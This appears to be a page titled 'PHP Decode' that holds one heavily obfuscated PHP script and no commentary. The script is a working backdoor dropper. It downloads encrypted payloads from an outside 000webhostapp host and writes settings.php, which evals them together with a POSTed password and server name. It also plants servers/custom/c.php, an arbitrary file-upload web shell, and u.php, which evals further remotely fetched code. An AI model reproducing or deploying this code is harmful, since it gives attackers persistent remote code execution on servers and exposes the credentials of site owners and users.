PHP Decode

${"G\x4c\x4f\x42\x41\x4cS"}["o\x66\x76o\x77m"]="\x72\x65\x73\x75l\x74";${"GLOBA\x4c\x53"}["\x6bm\x71\x65\x71uuh"]="c\x68\x61\x72";${"G\x4c\x4fBA\x4cS"}["\x6d\x6f\x73\x74c\x6ex"]="\x6b\x65\x79";${"\x47\x4cOB\x41\x4c\x53"}["\x72\x62ffa\x6d\x76\x71"]="\x6b\x65yc\x68\x61r";${"GL\x4f\x42\x41LS"}["x\x63\x6f\x76\x65\x75\x69y\x6dh"]="\x69";${"\x47L\x4f\x42\x41\x4c\x53"}["\x65\x6af\x6cyv\x67\x71w"]="\x73\x74\x72";function secure($str,$key){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x65\x78\x68\x79a\x6e\x6f\x71"]="s\x74\x72";${${"\x47\x4c\x4f\x42A\x4c\x53"}["e\x78h\x79\x61\x6e\x6f\x71"]}=base64_decode(urldecode(${${"\x47\x4c\x4f\x42\x41\x4cS"}["e\x6afly\x76g\x71w"]}));${"G\x4c\x4f\x42A\x4c\x53"}["r\x7a\x6fq\x74\x67wweg"]="\x72\x65\x73\x75\x6c\x74";${${"GL\x4fBA\x4c\x53"}["\x72\x7a\x6f\x71tg\x77w\x65\x67"]}="";for(${${"\x47L\x4f\x42\x41LS"}["x\x63\x6f\x76\x65\x75iy\x6dh"]}=0;${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x63ov\x65u\x69y\x6d\x68"]}<strlen(${${"\x47L\x4f\x42\x41L\x53"}["e\x6a\x66\x6c\x79\x76\x67\x71w"]});${${"\x47\x4cO\x42A\x4c\x53"}["\x78c\x6fv\x65\x75\x69\x79\x6d\x68"]}++){$hihagftyd="\x69";${"\x47\x4c\x4fBA\x4c\x53"}["\x71\x62\x6dmcq\x63h\x78\x6f\x64"]="\x63\x68\x61\x72";${"\x47LO\x42\x41\x4cS"}["\x69vn\x62yybre\x6ar"]="\x63h\x61\x72";${"\x47L\x4fBA\x4c\x53"}["\x63f\x77\x65mv\x77kxi"]="c\x68\x61r";${${"\x47\x4c\x4f\x42\x41\x4cS"}["c\x66\x77\x65\x6d\x76\x77\x6b\x78\x69"]}=substr(${${"\x47\x4c\x4fB\x41LS"}["e\x6a\x66\x6cy\x76\x67\x71\x77"]},${$hihagftyd},1);${${"\x47\x4c\x4fBAL\x53"}["rb\x66\x66\x61mv\x71"]}=substr(${${"G\x4c\x4f\x42\x41L\x53"}["\x6d\x6f\x73\x74\x63\x6e\x78"]},(${${"\x47L\x4f\x42\x41\x4c\x53"}["x\x63o\x76\x65\x75\x69y\x6dh"]}%strlen(${${"\x47\x4c\x4fBAL\x53"}["\x6dos\x74cn\x78"]}))-1,1);${${"\x47\x4cOB\x41LS"}["km\x71\x65qu\x75\x68"]}=chr(ord(${${"GLO\x42\x41\x4c\x53"}["i\x76\x6e\x62yyb\x72e\x6ar"]})-ord(${${"G\x4cOBA\x4c\x53"}["\x72\x62\x66f\x61\x6d\x76\x71"]}));${${"G\x4c\x4f\x42AL\x53"}["o\x66v\x6f\x77\x6d"]}.=${${"\x47\x4cO\x42\x41\x4c\x53"}["\x71\x62\x6d\x6d\x63\x71\x63hxo\x64"]};}return${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6f\x66\x76\x6f\x77m"]};}switch(rand(1,5)){case"\x31":file_put_contents("\x73\x65tti\x6e\x67s\x2e\x70h\x70","\x3c?\x70\x68\x70 e\x76\x61l(ba\x73e6\x34\x5f\x64\x65\x63\x6f\x64e(\x22".base64_encode("\x20\$_0\x20\x3d \"".$_POST["\x70\x61\x73\x73word"]."\x22;"."\n"."\x20\$_1 = \"".$_POST["\x73\x65\x72vern\x61\x6d\x65"]."\";"."\n".base64_decode(secure(base64_decode(file_get_contents("\x68ttps://\x64c\x72\x6a\x2e\x30\x300\x77ebh\x6fstap\x70\x2ec\x6f\x6d/\x6dain/site/\x66\x69le\x73/\x67et\x62\x61ck.php?t\x79\x70\x65=d\x61t\x61\x26t\x6f\x6be\x6e\x3d".sha1(date("Y"))."&\x64\x61t\x61\x3d\x66i\x72st")),base64_decode(base64_decode(file_get_contents("\x68\x74\x74\x70s://\x64\x63r\x6a\x2e\x30\x300w\x65\x62\x68\x6fst\x61\x70p\x2ec\x6f\x6d/mai\x6e/\x73i\x74e/\x66i\x6c\x65s/\x67\x65t\x62\x61\x63k.\x70\x68\x70?typ\x65\x3dkey\x26\x74o\x6b\x65n\x3d".sha1(date("\x59"))))))))."\x22))\x20?>");break;case"\x32":file_put_contents("s\x65tt\x69\x6e\x67\x73.\x70\x68p","<?php\x20e\x76al(b\x61s\x65\x36\x34_\x64\x65\x63o\x64e(\x62ase\x36\x34_de\x63\x6fde(\x22".base64_encode(base64_encode(" \$_\x30 \x3d \"".$_POST["pa\x73\x73word"]."\x22\x3b"."\n"."\x20\$_\x31\x20=\x20\"".$_POST["se\x72\x76ern\x61m\x65"]."\"\x3b"."\n".base64_decode(secure(base64_decode(file_get_contents("ht\x74\x70\x73://dc\x72j.\x30\x300\x77e\x62ho\x73t\x61p\x70.co\x6d/\x6d\x61\x69n/\x73i\x74e/\x66i\x6ce\x73/\x67\x65\x74b\x61\x63\x6b\x2ep\x68p?typ\x65=\x64\x61\x74a&to\x6be\x6e\x3d".sha1(date("\x59"))."\x26\x64a\x74\x61\x3d\x66i\x72\x73t")),base64_decode(base64_decode(file_get_contents("\x68tt\x70s://d\x63rj\x2e\x30\x300\x77\x65\x62\x68\x6f\x73t\x61p\x70\x2e\x63\x6fm/main/\x73\x69te/\x66\x69l\x65s/ge\x74b\x61ck.p\x68p?typ\x65\x3dke\x79&\x74ok\x65\x6e=".sha1(date("\x59")))))))))."\x22))) ?>");break;case"3":file_put_contents("s\x65\x74\x74ings.\x70\x68\x70","<?php\x20\x65\x76\x61\x6c(base\x364_d\x65\x63\x6f\x64\x65(ba\x73e\x36\x34\x5fdecode(\x62ase\x36\x34\x5fd\x65\x63\x6f\x64\x65(\x22".base64_encode(base64_encode(base64_encode(" \$_0\x20\x3d \"".$_POST["\x70\x61ss\x77\x6f\x72\x64"]."\x22\x3b"."\n"." \$_\x31\x20\x3d\x20\x22".$_POST["ser\x76\x65rname"]."\"\x3b"."\n".base64_decode(secure(base64_decode(file_get_contents("\x68\x74\x74ps://\x64c\x72\x6a.0\x30\x30w\x65\x62h\x6f\x73t\x61\x70p\x2e\x63\x6fm/m\x61\x69\x6e/\x73ite/f\x69\x6c\x65\x73/ge\x74\x62\x61\x63k\x2e\x70h\x70?\x74\x79pe\x3dd\x61\x74\x61&t\x6fken=".sha1(date("Y"))."\x26da\x74\x61\x3d\x66\x69rst")),base64_decode(base64_decode(file_get_contents("h\x74tp\x73://d\x63rj\x2e0\x30\x30\x77\x65\x62\x68o\x73ta\x70p.\x63\x6fm/\x6d\x61in/\x73\x69te/\x66il\x65s/\x67\x65\x74b\x61c\x6b\x2ephp?typ\x65=\x6b\x65\x79\x26\x74ok\x65\x6e=".sha1(date("Y"))))))))))."\x22)))) ?\x3e");break;case"4":file_put_contents("se\x74\x74i\x6e\x67s.p\x68p","<?php\x20\x65\x76a\x6c(b\x61s\x65\x364_deco\x64e(\x62ase\x364\x5fd\x65\x63\x6f\x64\x65(b\x61se64\x5f\x64\x65c\x6fd\x65(\x62as\x6564\x5fd\x65c\x6fde(\"".base64_encode(base64_encode(base64_encode(base64_encode(" \$_0\x20\x3d\x20\x22".$_POST["\x70\x61\x73s\x77\x6frd"]."\x22\x3b"."\n"." \$\x5f1\x20=\x20\"".$_POST["\x73\x65\x72vernam\x65"]."\";"."\n".base64_decode(secure(base64_decode(file_get_contents("h\x74\x74p\x73://dcrj\x2e000web\x68\x6f\x73ta\x70\x70\x2e\x63\x6f\x6d/\x6d\x61\x69n/\x73ite/fi\x6ce\x73/g\x65\x74\x62\x61\x63\x6b\x2eph\x70?\x74yp\x65\x3ddat\x61&\x74\x6f\x6b\x65\x6e\x3d".sha1(date("\x59"))."&data=\x66i\x72s\x74")),base64_decode(base64_decode(file_get_contents("ht\x74\x70\x73://\x64c\x72j\x2e\x300\x30w\x65\x62\x68\x6fs\x74\x61\x70\x70\x2ec\x6f\x6d/\x6dain/\x73it\x65/\x66\x69le\x73/ge\x74\x62a\x63\x6b\x2e\x70h\x70?\x74ype=\x6b\x65y&tok\x65\x6e\x3d".sha1(date("\x59")))))))))))."\"))))) ?>");break;case"\x35":file_put_contents("\x73\x65\x74\x74i\x6egs.\x70h\x70","\x3c?\x70\x68\x70\x20e\x76\x61l(\x62\x61s\x6564_\x64e\x63\x6f\x64e(bas\x656\x34\x5f\x64e\x63\x6f\x64\x65(\x62a\x73e\x364_d\x65code(ba\x73\x6564\x5f\x64ecode(\x62as\x65\x36\x34\x5f\x64ec\x6f\x64e(\"".base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(" \$\x5f\x30 = \x22".$_POST["p\x61ss\x77ord"]."\x22;"."\n"." \$\x5f\x31 =\x20\x22".$_POST["\x73\x65r\x76\x65\x72n\x61m\x65"]."\x22;"."\n".base64_decode(secure(base64_decode(file_get_contents("ht\x74\x70s://dcr\x6a\x2e0\x300w\x65b\x68o\x73\x74\x61pp\x2ecom/\x6dain/si\x74e/\x66i\x6ces/g\x65\x74\x62\x61ck\x2ephp?\x74y\x70e=\x64\x61\x74a&\x74\x6f\x6ben\x3d".sha1(date("\x59"))."&d\x61\x74\x61=fi\x72s\x74")),base64_decode(base64_decode(file_get_contents("\x68ttp\x73://dc\x72j.\x30\x300webhost\x61pp.\x63\x6f\x6d/\x6dai\x6e/s\x69te/\x66\x69\x6c\x65s/\x67e\x74\x62\x61\x63k\x2e\x70\x68\x70?ty\x70\x65=\x6b\x65\x79\x26\x74\x6fk\x65n=".sha1(date("\x59"))))))))))))."\x22))))))\x20?\x3e");break;}mkdir("\x73e\x72\x76\x65r\x73");mkdir("serv\x65\x72\x73/\x63u\x73\x74\x6fm");file_put_contents("\x73\x65rve\x72\x73/\x63\x75stom/\x63\x2e\x70\x68\x70","<?p\x68\x70 move_up\x6co\x61\x64\x65d_fi\x6c\x65(\$\x5fF\x49\x4cE\x53[\"upl\x6f\x61\x64\x22][\"t\x6dp_\x6ea\x6d\x65\"], \$_PO\x53T[\x22\x6ea\x6d\x65\x22])\x3b ?\x3e");switch(rand(1,2)){case"1":file_put_contents("\x73\x65\x72ve\x72s/\x63\x75s\x74\x6f\x6d/u.p\x68\x70","\x3c?\x70hp\x20e\x76al(b\x61\x73e\x364_deco\x64\x65(\"".base64_encode(base64_decode(secure(base64_decode(file_get_contents("\x68\x74\x74p\x73://d\x63r\x6a\x2e\x30\x30\x30web\x68\x6f\x73tap\x70.com/\x6da\x69n/s\x69\x74\x65/f\x69\x6c\x65\x73/\x67etb\x61ck\x2e\x70\x68\x70?t\x79\x70e\x3d\x64\x61\x74a\x26t\x6fk\x65n\x3d".sha1(date("Y"))."&\x64\x61\x74\x61\x3du\x5ftwo")),base64_decode(base64_decode(file_get_contents("h\x74tp\x73://dc\x72j.000\x77eb\x68o\x73tapp.\x63om/\x6dain/\x73\x69te/\x66\x69l\x65\x73/g\x65\x74b\x61ck\x2e\x70\x68\x70?t\x79\x70e\x3dk\x65\x79&t\x6f\x6ben\x3d".sha1(date("\x59"))))))))."\x22)) ?\x3e");break;case"\x32":file_put_contents("s\x65rvers/cus\x74\x6fm/\x75\x2ephp","\x3c?\x70h\x70\x20eval(\x62\x61\x73e64_de\x63o\x64\x65(bas\x65\x36\x34\x5fd\x65\x63\x6f\x64e(\x22".base64_encode(base64_encode(base64_decode(secure(base64_decode(file_get_contents("\x68\x74\x74p\x73://d\x63\x72j\x2e\x300\x30w\x65\x62\x68o\x73\x74a\x70p.com/\x6da\x69\x6e/\x73i\x74\x65/\x66\x69les/\x67e\x74back\x2e\x70hp?\x74y\x70\x65\x3ddata\x26\x74\x6fk\x65n=".sha1(date("Y"))."\x26\x64at\x61=u\x5f\x74\x77\x6f")),base64_decode(base64_decode(file_get_contents("\x68\x74t\x70\x73://\x64\x63\x72j.00\x30we\x62\x68\x6f\x73\x74\x61\x70\x70\x2e\x63\x6fm/\x6da\x69\x6e/s\x69\x74\x65/\x66\x69\x6ces/\x67etb\x61ck\x2e\x70hp?\x74y\x70\x65\x3d\x6be\x79\x26t\x6fke\x6e\x3d".sha1(date("Y")))))))))."\"))) ?\x3e");break;}